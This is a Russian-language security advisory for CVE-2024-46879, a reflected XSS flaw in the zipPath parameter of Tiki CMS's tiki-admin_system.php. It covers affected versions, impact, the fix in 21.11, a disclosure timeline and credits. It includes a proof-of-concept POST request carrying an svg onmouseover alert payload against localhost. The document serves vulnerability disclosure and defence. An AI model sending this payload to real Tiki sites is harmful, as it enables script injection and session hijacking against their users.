CVE-2024-46879 - Уязвимость отраженного межсайтового скриптинга (XSS) в Tiki CMS

Tiki CMS - Отраженная межсайтовая скриптинг (XSS) уязвимость параметра 'zipPath'

Отказ от ответственности

Предназначено только для образовательных, исследовательских и защитных целей. Несанкционированное использование против систем без разрешения незаконно.

Краткое описание

Уязвимость отраженного межсайтового скриптинга (XSS) существует в параметре zipPath данных POST запроса в tiki-admin_system.php в Tiki версии до 21.11. Эта уязвимость позволяет злоумышленникам выполнять произвольный JavaScript-код с помощью специально созданной полезной нагрузки, что может привести к доступу к конфиденциальной информации или несанкционированным действиям.

Затронутые продукты

Продукт: Tiki CMS Groupware
Версии: до 21.11
Компонент: tiki-admin_system.php

Детали уязвимости

Уязвимость вызвана неправильной очисткой ввода параметра zipPath в tiki-admin_system.php. Пользовательский ввод отражается в HTTP-ответе без достаточного кодирования, что позволяет выполнять внедренный JavaScript.

Воздействие

Позволяет аутентифицированному злоумышленнику выполнять произвольный JavaScript в браузере другого пользователя с помощью специально созданного запроса, что потенциально может привести к угону сессии или несанкционированным действиям.

Доказательство концепции (PoC)

Запрос

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

poc

Устранение

Проблема устранена в Tiki CMS Groupware версии 21.11. Пользователям рекомендуется обновиться до этой или более поздней исправленной версии.

Ссылка от вендора: https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

Хронология

Сообщено вендору: 5 сентября 2024 г.
Подтверждение вендора: 16 сентября 2024 г.
Исправлено в версии 21.11: 3 января 2025 г.
Публичное раскрытие (через этот репозиторий): 23 марта 2026 г.

Авторы

Шила Сарва, Qualys
Маянк Дешмук, Qualys

CVE-2024-46879-TikiCMS-XSS

Популярное